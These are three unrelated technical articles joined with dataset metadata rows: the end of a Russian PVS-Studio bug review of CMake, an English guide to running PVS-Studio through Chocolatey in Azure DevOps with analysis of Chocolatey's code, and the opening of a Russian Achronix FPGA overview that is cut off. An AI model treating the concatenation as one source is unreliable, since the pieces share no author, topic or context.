[V773](https://www.viva64.com/ru/w/v773/) The function was exited without releasing the 'testRun' pointer. A memory leak is possible. cmCTestMultiProcessHandler.cxx 193
```
void cmCTestMultiProcessHandler::FinishTestProcess(cmCTestRunTest* runner,
bool started)
{
....
delete runner;
if (started) {
this->StartNextTests();
}
}
bool cmCTestMultiProcessHandler::StartTestProcess(int test)
{
....
cmCTestRunTest* testRun = new cmCTestRunTest(*this); // <=
....
if (testRun->StartTest(this->Completed, this->Total)) {
return true; // <=
}
this->FinishTestProcess(testRun, false); // <=
return false;
}
```
Анализатор обнаружил утечку памяти. Память по указателю *testRun* не освобождается, если функция *testRun->StartTest* возвращает *true*. При выполнении другой ветви кода память по указателю *testRun* освобождается в функции *this-> FinishTestProcess*.
Утечка ресурсов
---------------
[V773](https://www.viva64.com/ru/w/v773/) The function was exited without closing the file referenced by the 'fd' handle. A resource leak is possible. rhash.c 450
```
RHASH_API int rhash_file(....)
{
FILE* fd;
rhash ctx;
int res;
hash_id &= RHASH_ALL_HASHES;
if (hash_id == 0) {
errno = EINVAL;
return -1;
}
if ((fd = fopen(filepath, "rb")) == NULL) return -1;
if ((ctx = rhash_init(hash_id)) == NULL) return -1; // <= fclose(fd); ???
res = rhash_file_update(ctx, fd);
fclose(fd);
rhash_final(ctx, result);
rhash_free(ctx);
return res;
}
```
Странная логика в условиях
--------------------------
[V590](https://www.viva64.com/ru/w/v590/) Consider inspecting the '\* s != '\0' && \* s == ' '' expression. The expression is excessive or contains a misprint. archive\_cmdline.c 76
```
static ssize_t
get_argument(struct archive_string *as, const char *p)
{
const char *s = p;
archive_string_empty(as);
/* Skip beginning space characters. */
while (*s != '\0' && *s == ' ')
s++;
....
}
```
Сравнение символа *\*s* с терминальным нулём является лишним. Условие цикла *while* зависит только от того, равен символ пробелу или нет. Это не ошибка, но лишнее усложнение кода.
[V592](https://www.viva64.com/ru/w/v592/) The expression was enclosed by parentheses twice: ((expression)). One pair of parentheses is unnecessary or misprint is present. cmCTestTestHandler.cxx 899
```
void cmCTestTestHandler::ComputeTestListForRerunFailed()
{
this->ExpandTestsToRunInformationForRerunFailed();
ListOfTests finalList;
int cnt = 0;
for (cmCTestTestProperties& tp : this->TestList) {
cnt++;
// if this test is not in our list of tests to run, then skip it.
if ((!this->TestsToRun.empty() &&
std::find(this->TestsToRun.begin(), this->TestsToRun.end(), cnt) ==
this->TestsToRun.end())) {
continue;
}
tp.Index = cnt;
finalList.push_back(tp);
}
....
}
```
Анализатор предупреждает, что, возможно, отрицание должно быть вынесено за скобки. Вроде, такой ошибки тут нет — просто лишние двойные скобки. Но, скорее всего, в этом условии присутствует логическая ошибка.
Оператор *continue* выполняется в том случае, если список тестов *this->TestsToRun* не пуст и *cnt* в нём отсутствует. Логично предположить, что если список тестов пуст, то необходимо выполнить то же самое действие. Скорее всего, условие должно быть таким:
```
if (this->TestsToRun.empty() ||
std::find(this->TestsToRun.begin(), this->TestsToRun.end(), cnt) ==
this->TestsToRun.end()) {
continue;
}
```
[V592](https://www.viva64.com/ru/w/v592/) The expression was enclosed by parentheses twice: ((expression)). One pair of parentheses is unnecessary or misprint is present. cmMessageCommand.cxx 73
```
bool cmMessageCommand::InitialPass(std::vector const& args,
cmExecutionStatus&)
{
....
} else if (\*i == "DEPRECATION") {
if (this->Makefile->IsOn("CMAKE\_ERROR\_DEPRECATED")) {
fatal = true;
type = MessageType::DEPRECATION\_ERROR;
level = cmake::LogLevel::LOG\_ERROR;
} else if ((!this->Makefile->IsSet("CMAKE\_WARN\_DEPRECATED") ||
this->Makefile->IsOn("CMAKE\_WARN\_DEPRECATED"))) {
type = MessageType::DEPRECATION\_WARNING;
level = cmake::LogLevel::LOG\_WARNING;
} else {
return true;
}
++i;
}
....
}
```
Похожий пример, но тут я больше уверен в наличии ошибки. Функция *IsSet(«CMAKE\_WARN\_DEPRECATED»)* проверяет, что значение *CMAKE\_WARN\_DEPRECATED* задано глобально, а функция *IsOn(«CMAKE\_WARN\_DEPRECATED»)* проверяет, что значение задано в конфигурации проекта. Скорее всего, оператор отрицания является лишним, т.к. в обоих случаях корректно задать одинаковые значения *type* и *level*.
[V728](https://www.viva64.com/ru/w/v728/) An excessive check can be simplified. The '(A && !B) || (!A && B)' expression is equivalent to the 'bool(A) != bool(B)' expression. cmCTestRunTest.cxx 151
```
bool cmCTestRunTest::EndTest(size_t completed, size_t total, bool started)
{
....
} else if ((success && !this->TestProperties->WillFail) ||
(!success && this->TestProperties->WillFail)) {
this->TestResult.Status = cmCTestTestHandler::COMPLETED;
outputStream << " Passed ";
}
....
}
```
Такой код можно сильно упростить, если переписать условное выражение таким образом:
```
} else if (success != this->TestProperties->WillFail)
{
this->TestResult.Status = cmCTestTestHandler::COMPLETED;
outputStream << " Passed ";
}
```
Ещё несколько мест, которые можно упростить:
* V728 An excessive check can be simplified. The '(A && B) || (!A && !B)' expression is equivalent to the 'bool(A) == bool(B)' expression. cmCTestTestHandler.cxx 702
* V728 An excessive check can be simplified. The '(A && !B) || (!A && B)' expression is equivalent to the 'bool(A) != bool(B)' expression. digest\_sspi.c 443
* V728 An excessive check can be simplified. The '(A && !B) || (!A && B)' expression is equivalent to the 'bool(A) != bool(B)' expression. tcp.c 1295
* V728 An excessive check can be simplified. The '(A && !B) || (!A && B)' expression is equivalent to the 'bool(A) != bool(B)' expression. testDynamicLoader.cxx 58
* V728 An excessive check can be simplified. The '(A && !B) || (!A && B)' expression is equivalent to the 'bool(A) != bool(B)' expression. testDynamicLoader.cxx 65
* V728 An excessive check can be simplified. The '(A && !B) || (!A && B)' expression is equivalent to the 'bool(A) != bool(B)' expression. testDynamicLoader.cxx 72
Разные предупреждения
---------------------
[V523](https://www.viva64.com/ru/w/v523/) The 'then' statement is equivalent to the subsequent code fragment. archive\_read\_support\_format\_ar.c 415
```
static int
_ar_read_header(struct archive_read *a, struct archive_entry *entry,
struct ar *ar, const char *h, size_t *unconsumed)
{
....
/*
* "__.SYMDEF" is a BSD archive symbol table.
*/
if (strcmp(filename, "__.SYMDEF") == 0) {
archive_entry_copy_pathname(entry, filename);
/* Parse the time, owner, mode, size fields. */
return (ar_parse_common_header(ar, entry, h));
}
/*
* Otherwise, this is a standard entry. The filename
* has already been trimmed as much as possible, based
* on our current knowledge of the format.
*/
archive_entry_copy_pathname(entry, filename);
return (ar_parse_common_header(ar, entry, h));
}
```
Выражение в последнем условии идентично последним двум строкам функции. Этот код можно упростить, удалив условие, либо в коде присутствует ошибка и её следует исправить.
[V535](https://www.viva64.com/ru/w/v535/) The variable 'i' is being used for this loop and for the outer loop. Check lines: 2220, 2241. multi.c 2241
```
static CURLMcode singlesocket(struct Curl_multi *multi,
struct Curl_easy *data)
{
....
for(i = 0; (i< MAX_SOCKSPEREASYHANDLE) && // <=
(curraction & (GETSOCK_READSOCK(i) | GETSOCK_WRITESOCK(i)));
i++) {
unsigned int action = CURL_POLL_NONE;
unsigned int prevaction = 0;
unsigned int comboaction;
bool sincebefore = FALSE;
s = socks[i];
/* get it from the hash */
entry = sh_getentry(&multi->sockhash, s);
if(curraction & GETSOCK_READSOCK(i))
action |= CURL_POLL_IN;
if(curraction & GETSOCK_WRITESOCK(i))
action |= CURL_POLL_OUT;
actions[i] = action;
if(entry) {
/* check if new for this transfer */
for(i = 0; i< data->numsocks; i++) { // <=
if(s == data->sockets[i]) {
prevaction = data->actions[i];
sincebefore = TRUE;
break;
}
}
}
....
}
```
Переменная *i* используется как счётчик цикла во внешнем и вложенном циклах. При этом значение счётчика снова начинает отсчитываться от нуля во вложенном. Возможно, здесь это не ошибка, но код подозрительный.
[V519](https://www.viva64.com/ru/w/v519/) The 'tagString' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 84, 86. cmCPackLog.cxx 86
```
oid cmCPackLog::Log(int tag, const char* file, int line, const char* msg,
size_t length)
{
....
if (tag & LOG_OUTPUT) {
output = true;
display = true;
if (needTagString) {
if (!tagString.empty()) {
tagString += ",";
}
tagString = "VERBOSE";
}
}
if (tag & LOG_WARNING) {
warning = true;
display = true;
if (needTagString) {
if (!tagString.empty()) {
tagString += ",";
}
tagString = "WARNING";
}
}
....
}
```
Переменная *tagString* перетирается новым значением во всех местах. Сложно сказать, в чём ошибка, или зачем так сделали. Возможно, перепутали операторы '=' и '+='.
Весь список таких мест:
* V519 The 'tagString' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 94, 96. cmCPackLog.cxx 96
* V519 The 'tagString' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 104, 106. cmCPackLog.cxx 106
* V519 The 'tagString' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 114, 116. cmCPackLog.cxx 116
* V519 The 'tagString' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 125, 127. cmCPackLog.cxx 127
[V519](https://www.viva64.com/ru/w/v519/) The 'aes->aes\_set' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 4052, 4054. archive\_string.c 4054
```
int
archive_mstring_copy_utf8(struct archive_mstring *aes, const char *utf8)
{
if (utf8 == NULL) {
aes->aes_set = 0; // <=
}
aes->aes_set = AES_SET_UTF8; // <=
....
return (int)strlen(utf8);
}
```
Принудительная установка значения *AES\_SET\_UTF8* выглядит подозрительно. Я думаю, такой код введёт в заблуждение любого разработчика, который столкнётся с доработкой этого места.
Такой код скопировали ещё в одно место:
* V519 The 'aes->aes\_set' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 4066, 4068. archive\_string.c 4068
Как найти ошибки в проекте на CMake
-----------------------------------
В этом разделе я немного расскажу, как легко и просто проверять проекты на CMake с помощью PVS-Studio.
**Windows/Visual Studio**
Для Visual Studio можно сгенерировать проектный файл с помощью CMake GUI или следующей команды:
```
cmake -G "Visual Studio 15 2017 Win64" ..
```
Далее можно открыть .sln файл и проверять проект с помощью [плагина](https://marketplace.visualstudio.com/items?itemName=EvgeniyRyzhkov.PVS-Studio) для Visual Studio.
**Linux/macOS**
На этих системах для проверки проекта используется файл compile\_commands.json. Кстати, его можно сгенерировать в разных сборочных системах. В CMake это делается так:
```
cmake -DCMAKE_EXPORT_COMPILE_COMMANDS=On ..
```
Осталось запустить анализатор в каталоге с .json файлом:
```
pvs-studio-analyzer analyze -l /path/to/PVS-Studio.lic
-o /path/to/project.log -e /path/to/exclude-path -j
```
Также мы разработали модуль для CMake-проектов. Некоторым нравится использовать его. CMake-модуль и примеры его использования можно найти в нашем репозитории на GitHub: [pvs-studio-cmake-examples](https://github.com/viva64/pvs-studio-cmake-examples).
Заключение
----------
Огромная аудитория пользователей CMake является хорошими тестировщиками проекта, но многие проблемы можно было и не допускать до релиза, применяя такие инструменты статического анализа кода, как [PVS-Studio](https://www.viva64.com/ru/pvs-studio/).
Если вам понравились результаты работы анализатора, но ваш проект написан не на языках C и C++, то хочу напомнить, что анализатор поддерживает ещё анализ проектов на языках C# и Java. Попробовать анализатор на своём проекте можно, перейдя на [эту](https://www.viva64.com/ru/pvs-studio-download/) страницу.
[](https://habr.com/en/company/pvs-studio/blog/464145/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Svyatoslav Razmyslov. [CMake: the Case when the Project's Quality is Unforgivable](https://habr.com/en/company/pvs-studio/blog/464145/). | https://habr.com/ru/post/464147/ | null | ru | null |
# PVS-Studio Is Now in Chocolatey: Checking Chocolatey under Azure DevOps
We continue making the use of PVS-Studio more convenient. Our analyzer is now available in Chocolatey, the package manager for Windows. We believe this will make it easier to deploy PVS-Studio, particularly in cloud services. So right off the bat, we also checked the source code of the same Chocolatey. Azure DevOps took on the role of the CI system.
Here's the list of our other articles on cloud integration:
* [PVS-Studio in the Clouds: Azure DevOps](https://www.viva64.com/en/b/0670/)
* [PVS-Studio in the Clouds: CircleCI](https://www.viva64.com/en/b/0676/)
* [PVS-Studio in the Clouds: Travis CI](https://www.viva64.com/en/b/0636/)
* [PVS-Studio in the Clouds: GitLab CI/CD](https://www.viva64.com/en/b/0686/)
I suggest that you pay attention to the first article on integration with Azure DevOps, as some points will be omitted to avoid repeating some nuances.
So, the main characters of this article are:
[PVS-Studio](https://www.viva64.com/en/pvs-studio/) is a static code analyzer for detecting errors and potential vulnerabilities in source code of programs, written in C, C++, C#, and Java. Works in 64-bit systems on Windows, Linux, and macOS and can analyze code for 32-bit, 64-bit and embedded ARM platforms. If it's the first time you're going to try static code analysis for checking your projects, we'd like to recommend reading the [article](https://www.viva64.com/en/b/0633/) on how to quickly check out the most interesting PVS-Studio warnings and assess the abilities of this tool.
[Azure DevOps](https://azure.microsoft.com/en-in/services/devops/) is a set of cloud services that jointly cover the entire development process. This platform includes tools such as Azure Pipelines, Azure Boards, Azure Artifacts, Azure Repos, Azure Test Plans to speed up the process of creating software and improve its quality.
[Chocolatey](https://chocolatey.org/) is an open source package manager for Windows. The goal of the project is to automate the entire lifecycle of the software from installation to upgrade and deletion in Windows operating systems.
About Chocolatey Usage
----------------------
To see how to install the package manager itself, follow this [link](https://chocolatey.org/docs/installation). Full documentation on the installation of the analyzer is available by the [link](https://www.viva64.com/en/m/0025/) in the «Installation using Chocolatey package manager» section. In a nutshell, I'll repeat some of the points from there.
The command for latest analyzer version installation:
```
choco install pvs-studio
```
The command for a specific PVS-Studio package installation:
```
choco install pvs-studio --version=7.05.35617.2075
```
By default, only the core of the analyzer, which is the the Core component, is installed. All other flags (Standalone, JavaCore, IDEA, MSVS2010, MSVS2012, MSVS2013, MSVS2015, MSVS2017, MSVS2019) can be passed via --package-parameters.
An example of a command that will install the analyzer with the plugin for Visual Studio 2019:
```
choco install pvs-studio --package-parameters="'/MSVS2019'"
```
Here's an example of convenient analyzer usage under Azure DevOps.
Configuration
-------------
Let me remind you that the [article](https://www.viva64.com/en/b/0670/) mentioned above gives all needed information about such things as creating Build Pipeline and account synchronization with the project in a GitHub repository. In our case, the configuration will start right with writing a configuration file.
To begin with, we'll set up a startup trigger, indicating that we only run for changes in the *master* branch:
```
trigger:
- master
```
Next, we need to choose a virtual machine. At this point, it will be Microsoft hosted agent with the Windows Server 2019 and Visual Studio 2019:
```
pool:
vmImage: 'windows-latest'
```
Let's move on to the body of the configuration file (the *steps* block). Even though you can't install random software on a virtual machine, I didn't add a Docker container. We can add Chocolatey as an extension for Azure DevOps. To do this, follow the [link](https://marketplace.visualstudio.com/items?itemName=gep13.chocolatey-azuredevops). Select *Get it free*. Further, if you are already logged in, just choose your account, and if not, do the same after authorization.
Here we need to choose where we add the extension and click *Install*.
After successful installation click *Proceed to organization*:
Now you can see the template for the Chocolatey task in the *tasks* window when editing the configuration file *azure-pipelines.yml:*
Click Chocolatey and you'll see the list of fields:
Here we need to choose *install* in the field with commands. In *Nuspec File Name*,specify the name of the needed package — pvs-studio. Without version specification, the latest one will be installed, which is absolutely great for us. Click *add* and see the new task in the configuration file.
```
steps:
- task: ChocolateyCommand@0
inputs:
command: 'install'
installPackageId: 'pvs-studio'
```
Next, let's move on to the main part of our file:
```
- task: CmdLine@2
inputs:
script:
```
Now we need to create a file with the analyzer license. Here *PVSNAME* and *PVSKEY* are the names of variables we specify in the settings. They will store the PVS-Studio login and license key. To set their values, open the menu *Variables->New variable*. Then create variables: *PVSNAME* — for the login, and *PVSKEY-* for the analyzer key. Don't forget to tick *Keep this value secret* for *PVSKEY*. The command code:
```
call "C:\Program Files (x86)\PVS-Studio\PVS-Studio_Cmd.exe" credentials
–u $(PVSNAME) –n $(PVSKEY)
```
Build the project using the bat file from the repository.
```
call build.bat
```
After that, create the repository for files with the analyzer results:
```
call mkdir PVSTestResults
```
Next, run project analysis.
```
call "C:\Program Files (x86)\PVS-Studio\PVS-Studio_Cmd.exe"
–t .\src\chocolatey.sln –o .\PVSTestResults\Choco.plog
```
Convert the report into the html format by the PlogConverter utility:
```
call "C:\Program Files (x86)\PVS-Studio\PlogConverter.exe"
–t html –o \PVSTestResults\ .\PVSTestResults\Choco.plog
```
Now you need to create a task so that you can download the report.
```
- task: PublishBuildArtifacts@1
inputs:
pathToPublish: PVSTestResults
artifactName: PVSTestResults
condition: always()
```
Full configuration file looks like this:
```
trigger:
- master
pool:
vmImage: 'windows-latest'
steps:
- task: ChocolateyCommand@0
inputs:
command: 'install'
installPackageId: 'pvs-studio'
- task: CmdLine@2
inputs:
script: |
call "C:\Program Files (x86)\PVS-Studio\PVS-Studio_Cmd.exe"
credentials –u $(PVSNAME) –n $(PVSKEY)
call build.bat
call mkdir PVSTestResults
call "C:\Program Files (x86)\PVS-Studio\PVS-Studio_Cmd.exe"
–t .\src\chocolatey.sln –o .\PVSTestResults\Choco.plog
call "C:\Program Files (x86)\PVS-Studio\PlogConverter.exe"
–t html –o .\PVSTestResults\ .\PVSTestResults\Choco.plog
- task: PublishBuildArtifacts@1
inputs:
pathToPublish: PVSTestResults
artifactName: PVSTestResults
condition: always()
```
Click *Save->Save->Run* to run the task. Go to the task tab and download the report.
[](https://habrastorage.org/webt/tt/8k/im/tt8kimeyd8tdlajla9lefsuknoi.png)
The Chocolatey project contains only 37615 lines of C# code. Let's consider some of detected errors.
Analysis results
----------------
**Warning N1**
Analyzer warning: [V3005](https://www.viva64.com/en/w/v3005/) The 'Provider' variable is assigned to itself. CrytpoHashProviderSpecs.cs 38
```
public abstract class CrytpoHashProviderSpecsBase : TinySpec
{
....
protected CryptoHashProvider Provider;
....
public override void Context()
{
Provider = Provider = new CryptoHashProvider(FileSystem.Object);
}
}
```
The analyzer has detected variable assignment to itself, which makes no sense. Most likely, another variable should have been here instead of one of these. Or it's a typo, and the extra assignment can simply be removed.
**Warning N2**
Analyzer warning: [V3093](https://www.viva64.com/en/w/v3093/) [CWE-480] The '&' operator evaluates both operands. Perhaps a short-circuit '&&' operator should be used instead. Platform.cs 64
```
public static PlatformType get_platform()
{
switch (Environment.OSVersion.Platform)
{
case PlatformID.MacOSX:
{
....
}
case PlatformID.Unix:
if(file_system.directory_exists("/Applications")
& file_system.directory_exists("/System")
& file_system.directory_exists("/Users")
& file_system.directory_exists("/Volumes"))
{
return PlatformType.Mac;
}
else
return PlatformType.Linux;
default:
return PlatformType.Windows;
}
}
```
The difference between *&* and *&&* operators is that if the left part of the expression is *false*, the right part will be evaluated anyway if & is used, which, in this case, implies unnecessary calls of the *system.directory\_exists* method.
In the fragment considered, it's a minor flaw. Yes, this condition can be optimized by replacing the & operator with &&, but from a practical point of view, it doesn't affect anything. However, in other cases, confusion between & and && can cause serious problems, when the right part of the expression handles incorrect/invalid values. For example, here's the case from our collection of errors [detected by the V3093 diagnostic](https://www.viva64.com/en/examples/v3093/):
```
if ((k < nct) & (s[k] != 0.0))
```
Even if the *k* index isincorrect, it will be used to access the array element. As a result, *IndexOutOfRangeException* will be generated.
**Warnings N3, N4**
Analyzer warning: [V3022](https://www.viva64.com/en/w/v3022/) [CWE-571] Expression 'shortPrompt' is always true. InteractivePrompt.cs 101
Analyzer warning: [V3022](https://www.viva64.com/en/w/v3022/) [CWE-571] Expression 'shortPrompt' is always true. InteractivePrompt.cs 105
```
public static string
prompt_for_confirmation(.... bool shortPrompt = false, ....)
{
....
if (shortPrompt)
{
var choicePrompt = choice.is_equal_to(defaultChoice) //1
?
shortPrompt //2
?
"[[{0}]{1}]".format_with(choice.Substring(0, 1).ToUpperInvariant(), //3
choice.Substring(1,choice.Length - 1))
:
"[{0}]".format_with(choice.ToUpperInvariant()) //0
:
shortPrompt //4
?
"[{0}]{1}".format_with(choice.Substring(0,1).ToUpperInvariant(), //5
choice.Substring(1,choice.Length - 1))
:
choice; //0
....
}
....
}
```
In this case, the logic of the ternary operator is strange. Let's peek it under the hood: if the condition that I marked with number 1 is fulfilled, we'll move on to the condition 2, which is always *true*, which means that the line 3 will execute. If number 1 condition is false, we'll jump to the line, marked as 4; its condition is also always *true*,which means that the line 5 will execute.Thus, conditions marked with comment 0 will never execute, which may be not the logic the programmer wanted.
**Warning N5**
Analyzer warning: [V3123](https://www.viva64.com/en/w/v3123/) [CWE-783] Perhaps the '?:' operator works in a different way than it was expected. Its priority is lower than priority of other operators in its condition. Options.cs 1019
```
private static string GetArgumentName (...., string description)
{
string[] nameStart;
if (maxIndex == 1)
{
nameStart = new string[]{"{0:", "{"};
}
else
{
nameStart = new string[]{"{" + index + ":"};
}
for (int i = 0; i < nameStart.Length; ++i)
{
int start, j = 0;
do
{
start = description.IndexOf (nameStart [i], j);
}
while (start >= 0 && j != 0 ? description [j++ - 1] == '{' : false);
....
return maxIndex == 1 ? "VALUE" : "VALUE" + (index + 1);
}
}
```
The diagnostic triggered for the following line:
```
while (start >= 0 && j != 0 ? description [j++ - 1] == '{' : false)
```
Since the *j* variable is initialized by 0 a few lines earlier, the ternary operator will return *false*. Due to this condition, the loop body will execute only one time. It seems to me that this piece of code doesn't work the way the programmer intended.
**Warning N6**
Analyzer warning: [V3022](https://www.viva64.com/en/w/v3022/) [CWE-571] Expression 'installedPackageVersions.Count != 1' is always true. NugetService.cs 1405
```
private void remove_nuget_cache_for_package(....)
{
if (!config.AllVersions && installedPackageVersions.Count > 1)
{
const string allVersionsChoice = "All versions";
if (installedPackageVersions.Count != 1)
{
choices.Add(allVersionsChoice);
}
....
}
....
}
```
The nested condition *installedPackageVersions.Count != 1*, which is always *true*, is quite dubious. Often such a warning indicates a logical error in code, or just a redundant check.
**Warning N7**
Analyzer warning: [V3001](https://www.viva64.com/en/w/v3001/) There are identical sub-expressions 'commandArguments.contains("-apikey")' to the left and to the right of the '||' operator. ArgumentsUtility.cs 42
```
public static bool arguments_contain_sensitive_information(string
commandArguments)
{
return commandArguments.contains("-install-arguments-sensitive")
|| commandArguments.contains("-package-parameters-sensitive")
|| commandArguments.contains("apikey ")
|| commandArguments.contains("config ")
|| commandArguments.contains("push ")
|| commandArguments.contains("-p ")
|| commandArguments.contains("-p=")
|| commandArguments.contains("-password")
|| commandArguments.contains("-cp ")
|| commandArguments.contains("-cp=")
|| commandArguments.contains("-certpassword")
|| commandArguments.contains("-k ")
|| commandArguments.contains("-k=")
|| commandArguments.contains("-key ")
|| commandArguments.contains("-key=")
|| commandArguments.contains("-apikey")
|| commandArguments.contains("-api-key")
|| commandArguments.contains("-apikey")
|| commandArguments.contains("-api-key");
}
```
The programmer who wrote this section of the code copied the last two lines and forgot to edit them. Because of this, Chocolatey users were unable to apply the *apikey* parameter in a couple of other ways. The same as with the parameter above, I can suggest the following options:
```
commandArguments.contains("-apikey=");
commandArguments.contains("-api-key=");
```
Copy-paste errors have a great chance to appear sooner or later in any project with a large source code base, and one of the best means of fighting against them is static analysis.
P.S. And as always, this error tends to appear at the end of the multi-line condition :). See the post "[Last Line Effect](https://www.viva64.com/en/b/0260/)".
**Warning N8**
Analyzer warning: [V3095](https://www.viva64.com/en/w/v3095/) [CWE-476] The 'installedPackage' object was used before it was verified against null. Check lines: 910, 917. NugetService.cs 910
```
public virtual ConcurrentDictionary get\_outdated(....)
{
....
var pinnedPackageResult = outdatedPackages.GetOrAdd(
packageName,
new PackageResult(installedPackage,
\_fileSystem.combine\_paths(
ApplicationParameters.PackagesLocation,
installedPackage.Id)));
....
if ( installedPackage != null
&& !string.IsNullOrWhiteSpace(installedPackage.Version.SpecialVersion)
&& !config.UpgradeCommand.ExcludePrerelease)
{
....
}
....
}
```
A classic bug: first the *installedPackage* object is used, and then checked for *null*. This diagnostic tells us about one of the problems in the program: either *installedPackage* is never *null* (which is questionable), and the check is redundant, or we can potentially get a serious error in the code — an attempt to access a null reference.
Conclusion
----------
So we have made another small step — now to use PVS-Studio has become even easier and more convenient. I also would like to note that Chocolatey is a fine package manager with a low number of code errors that could have been even smaller if checked by PVS-Studio.
I kindly invite you to [download](https://www.viva64.com/en/pvs-studio-download/) and try PVS-Studio. Regular usage of static analyzer will enhance the quality and reliability of the code you write and will help prevent many [zero-day vulnerabilities](https://www.viva64.com/en/b/0689/).
P.S.
----
Before publishing the article, we sent one to the Chocolatey developers which were pretty fine with it. We haven't found any critical bugs there but they liked an error related to «api-key», for example. | https://habr.com/ru/post/488204/ | null | en | null |
# Плис Achronix – опыт освоения
За более чем десятилетний срок работы с ПЛИС, мне довелось работать с продукцией четырех разных производителей. При таком разнообразии невольно обращаешь внимание как на общие черты процесса разработки, так и на особенности, присущие той или иной компании. И вот, пару месяцев назад мне неожиданно представилась уникальная возможность близко познакомиться с новым семейством ПЛИС, производимым небольшой, но амбициозной компанией из Калифорнии. Я говорю сейчас о самом молодом производителе ПЛИС – компании Акроникс (Achronix) и выпускаемой ею ПЛИС Speedster22i HD1000.
С момента своего создания (2004 г.), эта молодая компания смогла разработать ПЛИС сегмента HI-End, обладающие оригинальной архитектурой и уникальными характеристиками. Более того, компания первой среди всех производителей ПЛИС заключила стратегический союз с корпорацией Интел и с тех пор производит свои микросхемы (размер которых, как видно из рисунка, уже давно вышел за рамки “микро”) на самой совершенной технологической базе Intel на заводах, расположенных непосредственно в США. Сейчас серия Speedster выпускается по технологии 3D Tri-Gate 22нм. Программа развития серии предусматривает в недалеком будущем переход на 14нм и 10нм техпроцессы (по мере их освоения на заводах Интел).
В этой обзорной статье я хочу кратко описать, с одной стороны, те продукты которые используются для работы с ПЛИС Speedster, а с другой – свой опыт (включая эмоции) работы с этими продуктами на примере очень простого, но реально выполненного проекта. Итак …
#### “Железо” и средства разработки
Пожалуй, единственный на сегодняшний день способ ознакомиться с ПЛИС Speedster22i в работе – это купить (получить в подарок, арендовать, взять в лизинг …) отладочный набор Speedster22i HD1000 Development Kit, что мы и сделали. В процессе ожидания доставки была проделана подготовительная работа: закуплен мощный компьютер с водяным охлаждением, 32GB ОЗУ и двумя мониторами. Для того, чтобы получить средства разработки, пришлось зарегистрироваться на сайте Achronix (http://www.achronix.com/company/contact-us.html) и получить пользовательский аккаунт. Пользовательский аккаунт открывает доступ в зону сайта, содержащую необходимое для работы программное обеспечение, а так же демонстрационные и ссылочные дизайны. В чем между ними разница? Ссылочные дизайны (reference designs) поставляются с исходными кодами для ПЛИС, в то время как демонстрационные (demodesigns) как правило, содержат только загрузочные файлы для ПЛИС.
Подтверждение регистрации заняло пару дней и завершилось получением письма, содержащего логин и пароль. После этого появилась возможность скачать необходимые для начала работы средства – собственную оболочку компании Achronix под названием ACE и синтезатор Synplify. Но для того, чтобы эти программы заработали, к ним необходимы еще файлы лицензии. Для этого требуется заполнить еще одну форму и указать MAC-адрес сетевой карты. Файлы лицензии присылаются по электронной почте. Их подключение тоже не вызвало никаких проблем, кроме того, этот процесс подробно описан в документации. На моем компьютере установлена ОС Windows, но средства разработки имеются и для Red Hat Linux.
Оставшееся до прибытия платы время было посвящено изучению архитектуры ПЛИС Speedster22i HD1000, освоению средств проектирования и написанию простого дизайна.
Чем интересна серия Speedster22i? Что отличает ее от изделий других компаний? ПЛИС Speedster22i имеет свою “изюминку” – аппаратные IP-ядра, ориентированные на высокоскоростные коммуникационные задачи. По наборам таких ядер ПЛИС Achronix до сих пор вне конкуренции. Номенклатура ядер: DDR-3 – 6 шт., PCI Express Gen1/2/3 x1, x4, x8 – 2 шт., Ethernet MAC до 100G – 2 шт, Interlaken – 2 шт.. При этом обеспечивается суммарная пропускная способность свыше 400 Gb/s, что, безусловно, позволяет отнести ПЛИС серии Speedster22i к категории HI-END.
В остальном, рассматриваемые ПЛИС по своей структуре не сильно отличаются от продукции других производителей: они состоят из логических кластеров (на основе 4х-входовых LUT), блочной и распределенной памяти, а так же арифметических блоков, включающих мощные 56-битные умножители. Все это имеется в достаточных количествах для достижения самой сложной функциональности. Скоростные характеристики так же впечатляют: память, например, имеет максимальную рабочую частоту 750 МГц. Основные характеристики ПЛИС серии Speedster22i приведены в нижеследуюющей таблице:
| | | | |
| --- | --- | --- | --- |
| Параметры | HD680 | HD1000 | HD1500 |
| Объем логики, включая аппаратные контроллеры (эффективных ячеек LUT) | 660000 | 1045000 | 1725000 |
| Объем программируемой логики (в LUT) | 400000 | 700000 | 1100000 |
| Количество модулей BRAM | 600 | 1026 | 1728 |
| Количество модулей LRAM | 4320 | 6156 | 10368 |
| Объем 80-и килобитных BRAM (всего Kбит) | 48000 | 82080 | 138240 |
| Объем 640-битных LRAM (всего Kбит) | 2765 | 3940 | 6636 |
| Умножителей (28×28) | 240 | 756 | 864 |
| Количество линий SerDes 12.75 гб/с (Гигабит/с) | 40 | 64 | 48 |
| Количество линий SerDes 28 гб/с (Гигабит/с) | - | - | 16 |
| Аппаратных контроллеров Ethernet (MAC-уровень) 10/40/100 Гигабит/с | 2 | 2 | 4 |
| Контроллеров Interlaken LLC | 1 | 2 | 4 |
| Контроллеров PCI Express LLC | 1 | 2 | 2 |
| Контроллеров DDR2/DDR3 | 4 | 6 | 6 |
| Количество PLL | 16 | 16 | 16 |
| Количество выводов, корпус FBGA2601 52.5×52.5 (12G,28G,GPIO) | - | 64,0,960 | 48,16,960 |
| Количество выводов, корпус FBGA1936 45×45 (12G,28G,GPIO) | 40,0,684 | 40,0,684 | 20,4,684 |
| Количество выводов, корпус FBGA1520 40×40 (12G,28G,GPIO) | 18,0,684 | - | - |
Минимально необходимый набор средств разработки включает в себя две программы – оболочку ACE и синтезатор Synplify. Собственная разработка компании — оболочка ACE включает в себя средства размещения и разводки, конфигурирования ядер, загрузки и отладки. В качестве синтезатора используется программа Synplify от Synopsys. Подход, заключающийся в использовании набора отдельных программ вместо единой интегрированной среды, характерен для небольших компаний. Он менее удобен для начинающих разработчиков, но для опытных инженеров дает большую гибкость и лучшее качество выполнения каждого этапа. Если же необходима более глубокая интеграция, все требуемые программные средства можно объединить, например, посредством оболочки HDL-designer от MentorGraphics.
К указанным программам желательно добавить какую-либо программу-симулятор. Пакет Achronix содержит библиотеки для самых популярных программ-симуляторов, но сами эти программы в комплект поставки не входят и приобретаются отдельно.
